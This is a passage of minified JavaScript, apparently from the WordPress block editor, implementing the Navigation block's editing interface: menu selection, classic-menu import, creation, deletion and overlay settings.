4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"})),xd=window.wp.a11y,wd=function(e){let{icon:t,size:n=24,...o}=e;return(0,$e.cloneElement)(t,{width:n,height:n,...o})},Ed=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"}));function Cd(e){const t=(0,lt.useResourcePermissions)("navigation",e);return(0,it.useSelect)((n=>{const{canCreate:o,canUpdate:a,canDelete:r,isResolving:l,hasResolved:i}=t,{navigationMenus:s,isResolvingNavigationMenus:c,hasResolvedNavigationMenus:u}=function(e){const{getEntityRecords:t,hasFinishedResolution:n,isResolving:o}=e(lt.store),a=["postType","wp_navigation",{per_page:-1,status:["publish","draft"]}];return{navigationMenus:t(...a),isResolvingNavigationMenus:o("getEntityRecords",a),hasResolvedNavigationMenus:n("getEntityRecords",a)}}(n),{navigationMenu:m,isNavigationMenuResolved:d,isNavigationMenuMissing:p}=function(e,t){if(!t)return{isNavigationMenuResolved:!1,isNavigationMenuMissing:!0};const{getEntityRecord:n,getEditedEntityRecord:o,hasFinishedResolution:a}=e(lt.store),r=["postType","wp_navigation",t],l=n(...r),i=o(...r),s=a("getEditedEntityRecord",r),c="publish"===i.status||"draft"===i.status;return{isNavigationMenuResolved:s,isNavigationMenuMissing:s&&(!l||!c),navigationMenu:c?i:null}}(n,e);return{navigationMenus:s,isResolvingNavigationMenus:c,hasResolvedNavigationMenus:u,navigationMenu:m,isNavigationMenuResolved:d,isNavigationMenuMissing:p,canSwitchNavigationMenu:e?(null==s?void 0:s.length)>1:(null==s?void 0:s.length)>0,canUserCreateNavigationMenu:o,isResolvingCanUserCreateNavigationMenu:l,hasResolvedCanUserCreateNavigationMenu:i,canUserUpdateNavigationMenu:a,hasResolvedCanUserUpdateNavigationMenu:e?i:void 0,canUserDeleteNavigationMenu:r,hasResolvedCanUserDeleteNavigationMenu:e?i:void 0}}),[e,t])}function Sd(e){const{records:t,isResolving:n,hasResolved:o}=(0,lt.useEntityRecords)("root","menu",{per_page:-1,context:"view"}),{records:a,isResolving:r,hasResolved:l}=(0,lt.useEntityRecords)("postType","page",{parent:0,order:"asc",orderby:"id",per_page:-1,context:"view"}),{records:i,hasResolved:s}=(0,lt.useEntityRecords)("root","menuItem",{menus:e,per_page:-1,context:"view"},{enabled:!!e});return{pages:a,isResolvingPages:r,hasResolvedPages:l,hasPages:!(!l||null==a||!a.length),menus:t,isResolvingMenus:n,hasResolvedMenus:o,hasMenus:!(!o||null==t||!t.length),menuItems:i,hasResolvedMenuItems:s}}const Bd=e=>{let{isVisible:t=!0}=e;return(0,$e.createElement)("div",{"aria-hidden":!t||void 0,className:"wp-block-navigation-placeholder__preview"},(0,$e.createElement)("div",{className:"wp-block-navigation-placeholder__actions__indicator"},(0,$e.createElement)(wd,{icon:kd}),(0,je.__)("Navigation")))},Td=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})),Nd=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})),Pd=window.wp.htmlEntities,Id=function(e){let{currentMenuId:t,onSelectNavigationMenu:n,onSelectClassicMenu:o,onCreateNew:a,actionLabel:r,createNavigationMenuIsSuccess:l,createNavigationMenuIsError:i,toggleProps:s={}}=e;
/* translators: %s: The name of a menu. */const c=(0,je.__)("Create from '%s'"),[u,m]=(0,$e.useState)(""),[d,p]=(0,$e.useState)(!1),[g,h]=(0,$e.useState)(!1),[v,b]=(0,$e.useState)(!1);r=r||c;const{menus:_}=Sd(),{navigationMenus:y,hasResolvedNavigationMenus:f,isNavigationMenuResolved:k,canUserCreateNavigationMenu:x,canSwitchNavigationMenu:w}=Cd(),[E]=(0,lt.useEntityProp)("postType","wp_navigation","title"),C=(w||x)&&f&&!v,S=(0,$e.useMemo)((()=>(null==y?void 0:y.map((e=>{let{id:n,title:o}=e;const a=(0,Pd.decodeEntities)(o.rendered);return n!==t||v||(m(E),h(C)),{value:n,label:a,ariaLabel:(0,je.sprintf)(r,a)}})))||[]),[E,t,y,l,k,f]),B=!(null==y||!y.length),T=!(null==_||!_.length),N=!!w,P=!!x,I=B&&!t,z=!B&&f,M=f&&null===t;return(0,$e.useEffect)((()=>{f?(I||z||M)&&(m((0,je.__)("Select menu")),h(C)):m((0,je.__)("Loading …")),v&&(l||i)&&b(!1)}),[t,B,f,l,k]),s={...s,className:"wp-block-navigation__navigation-selector-button",children:(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.VisuallyHidden,{as:"span"},(0,je.__)("Select Menu")),(0,$e.createElement)(wd,{icon:d?Td:Nd,className:"wp-block-navigation__navigation-selector-button__icon"})),isBusy:!g,disabled:!g,__experimentalIsFocusable:!0,onClick:()=>{p(!d)}},B||T?(0,$e.createElement)(We.DropdownMenu,{className:"wp-block-navigation__navigation-selector",label:u,text:u,icon:null,toggleProps:s},(e=>{let{onClose:r}=e;return(0,$e.createElement)($e.Fragment,null,N&&B&&(0,$e.createElement)(We.MenuGroup,{label:(0,je.__)("Menus")},(0,$e.createElement)(We.MenuItemsChoice,{value:t,onSelect:e=>{n(e)},choices:S})),P&&T&&(0,$e.createElement)(We.MenuGroup,{label:(0,je.__)("Import Classic Menus")},null==_?void 0:_.map((e=>{const t=(0,Pd.decodeEntities)(e.name);return(0,$e.createElement)(We.MenuItem,{onClick:()=>{m((0,je.__)("Loading …")),h(!1),o(e),r()},key:e.id,"aria-label":(0,je.sprintf)(c,t)},t)}))),x&&(0,$e.createElement)(We.MenuGroup,{label:(0,je.__)("Tools")},(0,$e.createElement)(We.MenuItem,{onClick:()=>{r(),a(),b(!0),m((0,je.__)("Loading …")),h(!1)}},(0,je.__)("Create new menu"))))})):(0,$e.createElement)(We.Button,{className:"wp-block-navigation__navigation-selector-button--createnew",isBusy:!g,disabled:!g,__experimentalIsFocusable:!0,onClick:()=>{a(),b(!0),m((0,je.__)("Loading …")),h(!1)}},(0,je.__)("Create new menu"))};function zd(e){let{isSelected:t,currentMenuId:n,clientId:o,canUserCreateNavigationMenu:a=!1,isResolvingCanUserCreateNavigationMenu:r,onSelectNavigationMenu:l,onSelectClassicMenu:i,onCreateEmpty:s}=e;const{isResolvingMenus:c,hasResolvedMenus:u}=Sd();(0,$e.useEffect)((()=>{t&&(c&&(0,xd.speak)((0,je.__)("Loading Navigation block setup options.")),u&&(0,xd.speak)((0,je.__)("Navigation block setup options ready.")))}),[c,t]);const m=c&&r;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.Placeholder,{className:"wp-block-navigation-placeholder"},(0,$e.createElement)(Bd,{isVisible:!t}),(0,$e.createElement)("div",{"aria-hidden":!t||void 0,className:"wp-block-navigation-placeholder__controls"},(0,$e.createElement)("div",{className:"wp-block-navigation-placeholder__actions"},(0,$e.createElement)("div",{className:"wp-block-navigation-placeholder__actions__indicator"},(0,$e.createElement)(wd,{icon:kd})," ",(0,je.__)("Navigation")),(0,$e.createElement)("hr",null),m&&(0,$e.createElement)(We.Spinner,null),(0,$e.createElement)(Id,{currentMenuId:n,clientId:o,onSelectNavigationMenu:l,onSelectClassicMenu:i,toggleProps:{variant:"tertiary",iconPosition:"right",className:"wp-block-navigation-placeholder__actions__dropdown"}}),(0,$e.createElement)("hr",null),a&&(0,$e.createElement)(We.Button,{variant:"tertiary",onClick:s},(0,je.__)("Start empty"))))))}const Md=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z"}));function Ld(e){let{icon:t}=e;return"menu"===t?(0,$e.createElement)(wd,{icon:Md}):(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:"24",height:"24","aria-hidden":"true",focusable:"false"},(0,$e.createElement)(Ue.Rect,{x:"4",y:"7.5",width:"16",height:"1.5"}),(0,$e.createElement)(Ue.Rect,{x:"4",y:"15",width:"16",height:"1.5"}))}function Rd(e){let{children:t,id:n,isOpen:o,isResponsive:a,onToggle:r,isHiddenByDefault:l,overlayBackgroundColor:i,overlayTextColor:s,hasIcon:c,icon:u}=e;if(!a)return t;const m=at()("wp-block-navigation__responsive-container",{"has-text-color":!!s.color||!(null==s||!s.class),[(0,Ze.getColorClassName)("color",null==s?void 0:s.slug)]:!(null==s||!s.slug),"has-background":!!i.color||(null==i?void 0:i.class),[(0,Ze.getColorClassName)("background-color",null==i?void 0:i.slug)]:!(null==i||!i.slug),"is-menu-open":o,"hidden-by-default":l}),d={color:!(null!=s&&s.slug)&&(null==s?void 0:s.color),backgroundColor:!(null!=i&&i.slug)&&(null==i?void 0:i.color)&&i.color},p=at()("wp-block-navigation__responsive-container-open",{"always-shown":l}),g=`${n}-modal`,h={className:"wp-block-navigation__responsive-dialog",...o&&{role:"dialog","aria-modal":!0,"aria-label":(0,je.__)("Menu")}};return(0,$e.createElement)($e.Fragment,null,!o&&(0,$e.createElement)(We.Button,{"aria-haspopup":"true","aria-label":c&&(0,je.__)("Open menu"),className:p,onClick:()=>r(!0)},c&&(0,$e.createElement)(Ld,{icon:u}),!c&&(0,$e.createElement)("span",{className:"wp-block-navigation__toggle_button_label"},(0,je.__)("Menu"))),(0,$e.createElement)("div",{className:m,style:d,id:g},(0,$e.createElement)("div",{className:"wp-block-navigation__responsive-close",tabIndex:"-1"},(0,$e.createElement)("div",h,(0,$e.createElement)(We.Button,{className:"wp-block-navigation__responsive-container-close","aria-label":c&&(0,je.__)("Close menu"),onClick:()=>r(!1)},c&&(0,$e.createElement)(wd,{icon:Ed}),!c&&(0,$e.createElement)("span",{className:"wp-block-navigation__toggle_button_label"},(0,je.__)("Close"))),(0,$e.createElement)("div",{className:"wp-block-navigation__responsive-container-content",id:`${g}-content`},t)))))}const Ad=["core/navigation-link","core/search","core/social-links","core/page-list","core/spacer","core/home-link","core/site-title","core/site-logo","core/navigation-submenu"],Vd={name:"core/navigation-link"},Hd={type:"default",alignments:[]};function Dd(e){let{clientId:t,hasCustomPlaceholder:n,orientation:o}=e;const{isImmediateParentOfSelectedBlock:a,selectedBlockHasChildren:r,isSelected:l}=(0,it.useSelect)((e=>{const{getBlockCount:n,hasSelectedInnerBlock:o,getSelectedBlockClientId:a}=e(Ze.store),r=a();return{isImmediateParentOfSelectedBlock:o(t,!1),selectedBlockHasChildren:!!n(r),isSelected:r===t}}),[t]),[i,s,c]=(0,lt.useEntityBlockEditor)("postType","wp_navigation"),u=(0,$e.useMemo)((()=>i.every((e=>{let{name:t}=e;return"core/navigation-link"===t||"core/navigation-submenu"===t||"core/page-list"===t}))),[i]),m=l||a&&!r,d=(0,$e.useMemo)((()=>(0,$e.createElement)(Bd,null)),[]),p=!(null==i||!i.length),g=!n&&!p&&!l,h=(0,Ze.useInnerBlocksProps)({className:"wp-block-navigation__container"},{value:i,onInput:s,onChange:c,allowedBlocks:Ad,__experimentalDefaultBlock:Vd,__experimentalDirectInsert:u,orientation:o,renderAppender:!!(l||a&&!r||m)&&Ze.InnerBlocks.ButtonBlockAppender,templateLock:!1,__experimentalLayout:Hd,placeholder:g?d:void 0});return(0,$e.createElement)("div",h)}function Fd(){const[e,t]=(0,lt.useEntityProp)("postType","wp_navigation","title");return(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Menu name"),value:e,onChange:t})}function Gd(e,t){return e&&t?e+"//"+t:null}const $d=["postType","wp_navigation",{status:"draft",per_page:-1}],Ud=["postType","wp_navigation",{per_page:-1,status:"publish"}];function Od(e){const t=(0,$e.useContext)(We.Disabled.Context),n=function(e){return(0,it.useSelect)((t=>{if(!e)return;const{getBlock:n,getBlockParentsByBlockName:o}=t(Ze.store),a=o(e,"core/template-part",!0);if(null==a||!a.length)return;const r=t("core/editor").__experimentalGetDefaultTemplatePartAreas(),{getEditedEntityRecord:l}=t(lt.store);for(const e of a){const t=n(e),{theme:o,slug:a}=t.attributes,s=l("postType","wp_template_part",Gd(o,a));var i;if(null!=s&&s.area)return null===(i=r.find((e=>"uncategorized"!==e.area&&e.area===s.area)))||void 0===i?void 0:i.label}}),[e])}(t?void 0:e),o=(0,it.useRegistry)();return(0,$e.useCallback)((async()=>{if(t)return"";const{getEntityRecords:e}=o.resolveSelect(lt.store),[a,r]=await Promise.all([e(...$d),e(...Ud)]),l=n?(0,je.sprintf)(// translators: %s: the name of a menu (e.g. Header navigation).
(0,je.__)("%s navigation"),n):// translators: 'navigation' as in website navigation.
(0,je.__)("Navigation"),i=[...a,...r].reduce(((e,t)=>{var n,o;return null!=t&&null!==(n=t.title)&&void 0!==n&&null!==(o=n.raw)&&void 0!==o&&o.startsWith(l)?e+1:e}),0);return(i>0?`${l} ${i+1}`:l)||""}),[t,n])}const qd="success",Wd="error",jd="pending",Zd="idle";function Qd(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"publish";const[n,o]=(0,$e.useState)(Zd),[a,r]=(0,$e.useState)(null),[l,i]=(0,$e.useState)(null),{saveEntityRecord:s}=(0,it.useDispatch)(lt.store),c=Od(e),u=(0,$e.useCallback)((async function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];if(e&&"string"!=typeof e)throw i("Invalid title supplied when creating Navigation Menu."),o(Wd),new Error("Value of supplied title argument was not a string.");o(jd),r(null),i(null),e||(e=await c().catch((e=>{throw i(null==e?void 0:e.message),o(Wd),new Error("Failed to create title when saving new Navigation Menu.",{cause:e})})));const a={title:e,content:(0,Ge.serialize)(n),status:t};return s("postType","wp_navigation",a).then((e=>(r(e),o(qd),e))).catch((e=>{throw i(null==e?void 0:e.message),o(Wd),new Error("Unable to save new Navigation Menu",{cause:e})}))}),[Ge.serialize,s]);return{create:u,status:n,value:a,error:l,isIdle:n===Zd,isPending:n===jd,isSuccess:n===qd,isError:n===Wd}}const Kd={},Yd=["postType","wp_navigation",{status:"draft",per_page:-1}],Jd={name:"core/navigation-link"},Xd=["core/navigation-link","core/search","core/social-links","core/page-list","core/spacer","core/home-link","core/site-title","core/site-logo","core/navigation-submenu"];function ep(e){let{blocks:t,clientId:n,hasSavedUnsavedInnerBlocks:o,onSave:a,hasSelection:r}=e;const l=(0,$e.useRef)();(0,$e.useEffect)((()=>{null!=l&&l.current||(l.current=t)}),[t]);const i=!!l.current&&t!==l.current,s=(0,$e.useMemo)((()=>t.every((e=>{let{name:t}=e;return"core/navigation-link"===t||"core/navigation-submenu"===t||"core/page-list"===t}))),[t]),c=(0,$e.useContext)(We.Disabled.Context),u=(0,$e.useRef)(!1),m=(0,Ze.useInnerBlocksProps)({className:"wp-block-navigation__container"},{renderAppender:!!r&&void 0,allowedBlocks:Xd,__experimentalDefaultBlock:Jd,__experimentalDirectInsert:s}),{isSaving:d,draftNavigationMenus:p,hasResolvedDraftNavigationMenus:g}=(0,it.useSelect)((e=>{if(c)return Kd;const{getEntityRecords:t,hasFinishedResolution:n,isSavingEntityRecord:o}=e(lt.store);return{isSaving:o("postType","wp_navigation"),draftNavigationMenus:t(...Yd),hasResolvedDraftNavigationMenus:n("getEntityRecords",Yd)}}),[c]),{hasResolvedNavigationMenus:h,navigationMenus:v}=Cd(),{create:b}=Qd(n);(0,$e.useEffect)((()=>{!(c||o||d||u.current)&&g&&h&&r&&i&&(u.current=!0,b(null,t).then((e=>{a(e),u.current=!1})))}),[c,d,g,h,p,v,r,b,t]);const _=d?We.Disabled:"div";return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(_,m),d&&(0,$e.createElement)(We.Spinner,null))}function tp(e){let{onDelete:t}=e;const[n,o]=(0,$e.useState)(!1),a=(0,lt.useEntityId)("postType","wp_navigation"),[r]=(0,lt.useEntityProp)("postType","wp_navigation","title"),{deleteEntityRecord:l}=(0,it.useDispatch)(lt.store);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.Button,{className:"wp-block-navigation-delete-menu-button",variant:"secondary",isDestructive:!0,onClick:()=>{o(!0)}},(0,je.__)("Delete menu")),n&&(0,$e.createElement)(We.Modal,{title:(0,je.sprintf)(
/* translators: %s: the name of a menu to delete */
(0,je.__)("Delete %s"),r),closeLabel:(0,je.__)("Cancel"),onRequestClose:()=>o(!1)},(0,$e.createElement)("p",null,(0,je.__)("Are you sure you want to delete this navigation menu?")),(0,$e.createElement)(We.Flex,{justify:"flex-end"},(0,$e.createElement)(We.FlexItem,null,(0,$e.createElement)(We.Button,{variant:"secondary",onClick:()=>{o(!1)}},(0,je.__)("Cancel"))),(0,$e.createElement)(We.FlexItem,null,(0,$e.createElement)(We.Button,{variant:"primary",onClick:()=>{l("postType","wp_navigation",a,{force:!0}),t(r)}},(0,je.__)("Confirm"))))))}const np=function(){let{name:e,message:t=""}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const n=(0,$e.useRef)(),{createWarningNotice:o,removeNotice:a}=(0,it.useDispatch)(wt.store),r=a=>{n.current||(n.current=e,o(a||t,{id:n.current,type:"snackbar"}))},l=()=>{n.current&&(a(n.current),n.current=null)};return[r,l]};function op(e){let{setAttributes:t,hasIcon:n,icon:o}=e;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show icon button"),help:(0,je.__)("Configure the visual appearance of the button opening the overlay menu."),onChange:e=>t({hasIcon:e}),checked:n}),(0,$e.createElement)(We.__experimentalToggleGroupControl,{label:(0,je.__)("Icon"),value:o,onChange:e=>t({icon:e}),isBlock:!0},(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"handle","aria-label":(0,je.__)("handle"),label:(0,$e.createElement)(Ld,{icon:"handle"})}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"menu","aria-label":(0,je.__)("menu"),label:(0,$e.createElement)(Ld,{icon:"menu"})})))}function ap(e){if(!e)return null;const t=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"id",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"parent";const o=Object.create(null),a=[];for(const r of e)o[r[t]]={...r,children:[]},r[n]?(o[r[n]]=o[r[n]]||{},o[r[n]].children=o[r[n]].children||[],o[r[n]].children.push(o[r[t]])):a.push(o[r[t]]);return a}(e),n=rp(t);return(0,Js.applyFilters)("blocks.navigation.__unstableMenuItemsToBlocks",n,e)}function rp(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n={};const o=[...e].sort(((e,t)=>e.menu_order-t.menu_order)),a=o.map((e=>{var o,a;if("block"===e.type){const[t]=(0,Ge.parse)(e.content.raw);return t||(0,Ge.createBlock)("core/freeform",{content:e.content})}const r=null!==(o=e.children)&&void 0!==o&&o.length?"core/navigation-submenu":"core/navigation-link",l=lp(e,r,t),{innerBlocks:i=[],mapping:s={}}=null!==(a=e.children)&&void 0!==a&&a.length?rp(e.children,t+1):{};n={...n,...s};const c=(0,Ge.createBlock)(r,l,i);return n[e.id]=c.clientId,c}));return{innerBlocks:a,mapping:n}}function lp(e,t,n){var o;let{title:a,xfn:r,classes:l,attr_title:i,object:s,object_id:c,description:u,url:m,type:d,target:p}=e;return s&&"post_tag"===s&&(s="tag"),{label:(null==a?void 0:a.rendered)||"",...(null===(o=s)||void 0===o?void 0:o.length)&&{type:s},kind:(null==d?void 0:d.replace("_","-"))||"custom",url:m||"",...(null==r?void 0:r.length)&&r.join(" ").trim()&&{rel:r.join(" ").trim()},...(null==l?void 0:l.length)&&l.join(" ").trim()&&{className:l.join(" ").trim()},...(null==i?void 0:i.length)&&{title:i},...c&&"custom"!==s&&{id:c},...(null==u?void 0:u.length)&&{description:u},..."_blank"===p&&{opensInNewTab:!0},..."core/navigation-submenu"===t&&{isTopLevelItem:0===n},..."core/navigation-link"===t&&{isTopLevelLink:0===n}}}const ip="success",sp="error",cp="pending",up=[];function mp(e){return e.ownerDocument.defaultView.getComputedStyle(e)}function dp(e,t,n){if(!e)return;t(mp(e).color);let o=e,a=mp(o).backgroundColor;for(;"rgba(0, 0, 0, 0)"===a&&o.parentNode&&o.parentNode.nodeType===o.parentNode.ELEMENT_NODE;)o=o.parentNode,a=mp(o).backgroundColor;n(a)}const pp=(0,Ze.withColors)({textColor:"color"},{backgroundColor:"color"},{overlayBackgroundColor:"color"},{overlayTextColor:"color"})((function(e){var t,n;let{attributes:o,setAttributes:a,clientId:r,isSelected:l,className:i,backgroundColor:s,setBackgroundColor:c,textColor:u,setTextColor:m,overlayBackgroundColor:d,setOverlayBackgroundColor:p,overlayTextColor:g,setOverlayTextColor:h,hasSubmenuIndicatorSetting:v=!0,hasColorSettings:b=!0,customPlaceholder:_=null}=e;const{openSubmenusOnClick:y,overlayMenu:f,showSubmenuIcon:k,layout:{justifyContent:x,orientation:w="horizontal",flexWrap:E="wrap"}={},hasIcon:C,icon:S="handle"}=o,B=o.ref,T=e=>{a({ref:e})},N=`navigationMenu/${B}`,P=(0,Ze.__experimentalUseHasRecursion)(N),{editEntityRecord:I}=(0,it.useDispatch)(lt.store);Sd();const[z,M]=np({name:"block-library/core/navigation/status"}),[L,R]=np({name:"block-library/core/navigation/classic-menu-conversion"}),[A,V]=np({name:"block-library/core/navigation/auto-publish-draft"}),[H,D]=np({name:"block-library/core/navigation/permissions/update"}),{create:F,status:G,error:$,value:U,isPending:O,isSuccess:q,isError:W}=Qd(r),j=()=>{F("")};(0,$e.useEffect)((()=>{M(),O&&(0,xd.speak)((0,je.__)("Creating Navigation Menu.")),q&&(Oe(U.id,{focusNavigationBlock:!0}),z((0,je.__)("Navigation Menu successfully created."))),W&&z((0,je.__)("Failed to create Navigation Menu."))}),[G,$,U]);const{hasUncontrolledInnerBlocks:Z,uncontrolledInnerBlocks:Q,isInnerBlockSelected:K,innerBlocks:Y}=function(e){return(0,it.useSelect)((t=>{const{getBlock:n,getBlocks:o,hasSelectedInnerBlock:a}=t(Ze.store),r=n(e).innerBlocks,l=!(null==r||!r.length),i=l?up:o(e);return{innerBlocks:l?r:i,hasUncontrolledInnerBlocks:l,uncontrolledInnerBlocks:r,controlledInnerBlocks:i,isInnerBlockSelected:a(e,!0)}}),[e])}(r),J=!!Y.find((e=>"core/navigation-submenu"===e.name)),{replaceInnerBlocks:X,selectBlock:ee,__unstableMarkNextChangeAsNotPersistent:te}=(0,it.useDispatch)(Ze.store),[ne,oe]=(0,$e.useState)(!1),[ae,re]=(0,$e.useState)(!1),[le,ie]=(0,$e.useState)(!1),{hasResolvedNavigationMenus:se,isNavigationMenuResolved:ce,isNavigationMenuMissing:ue,navigationMenus:me,navigationMenu:de,canUserUpdateNavigationMenu:pe,hasResolvedCanUserUpdateNavigationMenu:ge,canUserDeleteNavigationMenu:he,hasResolvedCanUserDeleteNavigationMenu:ve,canUserCreateNavigationMenu:be,isResolvingCanUserCreateNavigationMenu:_e,hasResolvedCanUserCreateNavigationMenu:ye}=Cd(B),fe=se&&ue;(0,$e.useEffect)((()=>{if(Z||O||B||null==me||!me.length)return;me.sort(((e,t)=>{const n=new Date(e.date),o=new Date(t.date);return n.getTime()<o.getTime()}));const e=me.filter((e=>"publish"===e.status));0!==e.length&&(te(),T(e[0].id))}),[me]);const ke=(0,$e.useRef)(),{convert:xe,status:we,error:Ee}=function(e){const{create:t}=Qd(e,"draft"),n=(0,it.useRegistry)(),{editEntityRecord:o}=(0,it.useDispatch)(lt.store),[a,r]=(0,$e.useState)("idle"),[l,i]=(0,$e.useState)(null);return{convert:(0,$e.useCallback)((async(e,a)=>e&&a?(r(cp),i(null),await async function(e,a){let r,l;try{l=await n.resolveSelect(lt.store).getMenuItems({menus:e,per_page:-1,context:"view"})}catch(e){throw new Error((0,je.sprintf)(// translators: %s: the name of a menu (e.g. Header navigation).
(0,je.__)('Unable to fetch classic menu "%s" from API.'),a),{cause:e})}if(null===l)throw new Error((0,je.sprintf)(// translators: %s: the name of a menu (e.g. Header navigation).
(0,je.__)('Unable to fetch classic menu "%s" from API.'),a));const{innerBlocks:i}=ap(l);try{r=await t(a,i),await o("postType","wp_navigation",r.id,{status:"publish"},{throwOnError:!0})}catch(e){throw new Error((0,je.sprintf)(// translators: %s: the name of a menu (e.g. Header navigation).
(0,je.__)('Unable to create Navigation Menu "%s".'),a),{cause:e})}return r}(e,a).then((e=>(r(ip),e))).catch((e=>{throw i(null==e?void 0:e.message),r(sp),new Error((0,je.sprintf)(// translators: %s: the name of a menu (e.g. Header navigation).
(0,je.__)('Unable to create Navigation Menu "%s".'),a),{cause:e})}))):(i("Unable to convert menu. Missing menu details."),void r(sp))),[]),status:a,error:l}}(r),Ce=we===cp,Se="nav",Be=!B&&!O&&!Ce&&se&&!Z;(0,$e.useEffect)((()=>{Be&&!B&&(te(),X(r,[(0,Ge.createBlock)("core/page-list")]))}),[r,Be,B]);const Te=!ue&&ce,Ne=!se||O||Ce||!(!B||Te||Ce),Pe=null===(t=o.style)||void 0===t||null===(n=t.typography)||void 0===n?void 0:n.textDecoration,Ie=(0,Ze.__experimentalUseBlockOverlayActive)(r),ze=(0,Ze.useBlockProps)({ref:ke,className:at()(i,{"items-justified-right":"right"===x,"items-justified-space-between":"space-between"===x,"items-justified-left":"left"===x,"items-justified-center":"center"===x,"is-vertical":"vertical"===w,"no-wrap":"nowrap"===E,"is-responsive":"never"!==f,"has-text-color":!!u.color||!(null==u||!u.class),[(0,Ze.getColorClassName)("color",null==u?void 0:u.slug)]:!(null==u||!u.slug),"has-background":!!s.color||s.class,[(0,Ze.getColorClassName)("background-color",null==s?void 0:s.slug)]:!(null==s||!s.slug),[`has-text-decoration-${Pe}`]:Pe,"block-editor-block-content-overlay":Ie}),style:{color:!(null!=u&&u.slug)&&(null==u?void 0:u.color),backgroundColor:!(null!=s&&s.slug)&&(null==s?void 0:s.color)}}),Me="web"===$e.Platform.OS,[Le,Re]=(0,$e.useState)(),[Ae,Ve]=(0,$e.useState)(),[He,De]=(0,$e.useState)(),[Fe,Ue]=(0,$e.useState)(),Oe=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{focusNavigationBlock:!1};const{focusNavigationBlock:n}=t;T(e),n&&ee(r)};(0,$e.useEffect)((()=>{R(),we===cp&&(0,xd.speak)((0,je.__)("Classic menu importing.")),we===ip&&L((0,je.__)("Classic menu imported successfully.")),we===sp&&L((0,je.__)("Classic menu import failed."))}),[we,Ee]),(0,$e.useEffect)((()=>{w&&(te(),a({orientation:w}))}),[w]),(0,$e.useEffect)((()=>{var e;if(!Me)return;dp(ke.current,Ve,Re);const t=null===(e=ke.current)||void 0===e?void 0:e.querySelector('[data-type="core/navigation-link"] [data-type="core/navigation-link"]');t&&dp(t,Ue,De)})),(0,$e.useEffect)((()=>{l||K||D(),(l||K)&&(B&&!fe&&ge&&!pe&&H((0,je.__)("You do not have permission to edit this Menu. Any changes made will not be saved.")),B||!ye||be||H((0,je.__)("You do not have permission to create Navigation Menus.")))}),[l,K,pe,ge,be,ye,B]);const qe=be||pe,Qe="never"!==f,Ke=at()("wp-block-navigation__overlay-menu-preview",{open:le}),Ye="draft"===(null==de?void 0:de.status);(0,$e.useEffect)((async()=>{if(V(),Ye)try{await I("postType","wp_navigation",null==de?void 0:de.id,{status:"publish"},{throwOnError:!0})}catch{A((0,je.__)("Error ocurred while publishing the navigation menu."))}}),[Ye,de]);const Je=(0,$e.createElement)(Ze.InspectorControls,null,v&&(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Display")},Qe&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.Button,{className:Ke,onClick:()=>{ie(!le)}},C&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ld,{icon:S}),(0,$e.createElement)(wd,{icon:Ed})),!C&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("span",null,(0,je.__)("Menu")),(0,$e.createElement)("span",null,(0,je.__)("Close")))),le&&(0,$e.createElement)(op,{setAttributes:a,hasIcon:C,icon:S})),(0,$e.createElement)("h3",null,(0,je.__)("Overlay Menu")),(0,$e.createElement)(We.__experimentalToggleGroupControl,{label:(0,je.__)("Configure overlay menu"),value:f,help:(0,je.__)("Collapses the navigation options in a menu icon opening an overlay."),onChange:e=>a({overlayMenu:e}),isBlock:!0,hideLabelFromVision:!0},(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"never",label:(0,je.__)("Off")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"mobile",label:(0,je.__)("Mobile")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"always",label:(0,je.__)("Always")})),J&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("h3",null,(0,je.__)("Submenus")),(0,$e.createElement)(We.ToggleControl,{checked:y,onChange:e=>{a({openSubmenusOnClick:e,...e&&{showSubmenuIcon:!0}})},label:(0,je.__)("Open on 